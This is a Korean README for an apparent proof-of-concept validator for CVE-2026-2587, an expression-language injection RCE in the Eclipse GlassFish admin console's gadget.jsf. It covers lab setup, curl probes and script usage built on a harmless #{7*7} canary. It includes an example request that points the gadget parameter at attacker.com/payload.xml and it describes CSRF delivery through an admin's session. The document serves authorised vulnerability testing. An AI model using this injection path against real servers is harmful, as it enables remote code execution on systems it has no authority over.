CVE-2026-2587 PoC 검증기: Eclipse GlassFish 관리 콘솔 gadget.jsf 핸들러의 EL 주입 RCE. 승인된 테스트를 위한 안전한 인증된 취약점 스캐너.
CVE-2026-2587에 대한 안전한 PoC 검증 도구로, Eclipse GlassFish 관리 콘솔 가젯 핸들링에서 /common/gadgets/gadget.jsf를 통해 발생하는 치명적인 EL 주입/RCE 문제입니다.
이 도구는 승인된 환경에서 무해한 산술 EL 카나리를 사용하여 GlassFish CVE-2026-2587 노출 여부를 보안 팀이 검증할 수 있도록 돕습니다.
할당: Eclipse Foundation (CNA) · 게시일: 2026년 5월 19일 CVSS:
9.6 치명적·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — 표현식 언어 주입 영향받는 버전:알 수 없음(2026년 5월 21일 기준 공개 권고) 패치된 버전:알 수 없음(2026년 5월 21일 기준 공개 권고) 스캐너 규칙: 버전은 라우팅/보고 컨텍스트일 뿐이며, 판결에는 증거가 필요합니다.
GlassFish 관리 콘솔 가젯 핸들러에 치명적인 원격 코드 실행 취약점이 존재합니다. 애플리케이션은 gadget= 쿼리 매개변수를 통해 제공된 URL에서 가져온 .xml 파일을 처리하고, <ModulePrefs> 속성 내의 사용자 제공 값을 Java 표현식 언어(EL) 엔진을 통해 삭제나 이스케이프 없이 평가합니다.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
XML이 `<ModulePrefs title="">` 속성에 `#{7*7}`을 포함하면, GlassFish는 서버 측에서 이를 평가하여 `49`를 반환합니다. 이는 EL 실행을 확인하는 것입니다. EL이 Java 런타임에 접근할 수 있으므로 전체 RCE 체인이 이어집니다.
현재 공개된 권고 기록은 영향을 받거나 패치된 버전 경계를 공개하지 않습니다. 따라서 이 검증기는 증명 우선(proof-first) 방식입니다. GlassFish의 지문을 수집하여 버전 메타데이터를 보고하지만, 버전 문자열만으로 대상을 취약하다고 분류하지 않습니다.
---
## How It Works

안전한 검증 경로는 무해한 XML 프로브를 호스팅하고, 인증된 관리 콘솔 요청을 `gadget.jsf`에 전송하며, GlassFish가 콜백 URL에서 해당 XML을 가져오도록 한 후, `<ModulePrefs title="">` 카나리가 `#{7*7}`에서 `49`로 평가되는지 확인합니다.
**인젝션 포인트 확인 vs. 미확인:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| 시나리오 | 인증 필요? |
|---|---|
gadget.jsf에 직접 접근 | 예 — FORM 인증, 200 로그인 페이지 |
| 실제 CSRF 공격 | 아니요 — 관리자의 활성 세션을 무기화 |
| 이 검증기 | 예 — --cookie 또는 --username/--password |
| 인증되지 않은 노출 확인 | 아니요 — 스크립트가 자동으로 테스트 |
CVSS 벡터 PR:N / UI:R 의미:
PR:N — 공격자는 자신의 자격 증명이 필요 없음UI:R — 로그인한 관리자가 상호작용해야 함 (CSRF 전달)실습 검증의 경우 CSRF를 건너뛰고 — 자신의 관리자 세션을 직접 사용하십시오.
요구 사항: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**저장소 내용:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
주의: GHSA는 여전히 영향을 받는 버전과 패치된 버전을 알 수 없음으로 나열합니다.
omnifish/glassfish:7.0.15는 강력한 실험 후보입니다 — 반드시 취약한 빌드라는 보장은 없습니다. 검증 기본 요소는 여전히 산술 카나리입니다:#{7*7}이49로 평가되면 EL이 활성화됩니다.
docker compose -f docker-compose.lab.yml up
GlassFish 7.0.15를 실행하며, 포트는 `127.0.0.1`에만 바인딩되고 `host.docker.internal`이 사전 연결되어 컨테이너가 로컬 XML 서버에 접근할 수 있습니다.
### 옵션 B — bare docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
관리 콘솔: https://localhost:4848 · 로그인: admin / admin
(자체 서명 인증서 — 브라우저 경고가 예상됩니다.)
두 번째 터미널에서:```bash
python3 -m http.server 8000 --bind 0.0.0.0
컨테이너의 관점에서 도달 가능성을 확인하십시오:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5
먼저 관리자 콘솔에 로그인한 후 (브라우저 세션 또는 --cookie), 그 다음:```bash
curl -sk
-H "Cookie: JSESSIONID=YOUR_SESSION_ID"
"https://localhost:4848/common/gadgets/gadget.jsf?gadget=http%3A%2F%2Fhost.docker.internal%3A8000%2Fprobe.xml"
| grep -oE 'CVE2587_(TITLE|BODY)_[^"< ]+'
| 출력 | 의미 |
|---|---|
| `CVE2587_TITLE_49_END` | **취약함** — `ModulePrefs title`에서 EL 평가됨 |
| `CVE2587_BODY_49_END` | **취약함** — CDATA 본문에서 EL 평가됨 |
| `CVE2587_TITLE_#{7*7}_END` | 취약하지 않음 / EL 평가되지 않음 |
| *(출력 없음)* | GlassFish가 XML을 가져오지 않음 — 콜백 접근 가능성 확인 |
> 일반적으로 취약한 빌드에서도 CDATA 본문은 원시 상태로 유지됩니다. `TITLE` 결과만 양성이면 해당 발견을 확인하기에 충분합니다.
---
### 로컬 랩에 대한 자동화된 검증```bash
python3 CVE-2026-2587-Exploit-POC.py \
--base https://localhost:4848 \
--listen 0.0.0.0:8000 \
--callback-url http://host.docker.internal:8000 \
--username admin --password admin \
--insecure --verbose
저장소에는 바로 사용할 수 있는 probe.xml이 포함되어 있습니다. 또한 언제든지 새로운 XML을 생성할 수 있습니다. 이는 사용자 지정 카나리 접두사나 무작위 값을 원할 때 유용하며, 각 작업에 대해 프로브를 고유하게 만들 수 있습니다.```bash
python3 CVE-2026-2587-Exploit-POC.py --generate-xml probe.xml
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe.xml
--prefix MYTEST --left 13 --right 17
python3 CVE-2026-2587-Exploit-POC.py --generate-xml -
python3 CVE-2026-2587-Exploit-POC.py
--generate-xml probe_$(date +%s).xml
--prefix SCAN$(date +%s) --left 31 --right 127
파일에 쓴 후 출력:```
[+] probe XML written → probe.xml
Expression : #{7*7}
Expects : CVE2587_TITLE_49_END in response title
Host this file at a URL reachable by the target server.
Then run:
--xml-url http://YOUR_SERVER/probe.xml
--prefix CVE2587 --left 7 --right 7
GlassFish가 동일한 머신의 로컬 또는 Docker에서 실행 중일 때 사용합니다.
관리 콘솔에 로그인한 상태에서 브라우저 DevTools → Application → Cookies에서 JSESSIONID를 가져온 후:```bash
python3 CVE-2026-2587-Exploit-POC.py
--base https://localhost:4848
--listen 0.0.0.0:8000
--callback-url http://host.docker.internal:8000
--cookie "JSESSIONID=YOUR_SESSION_ID"
--insecure --verbose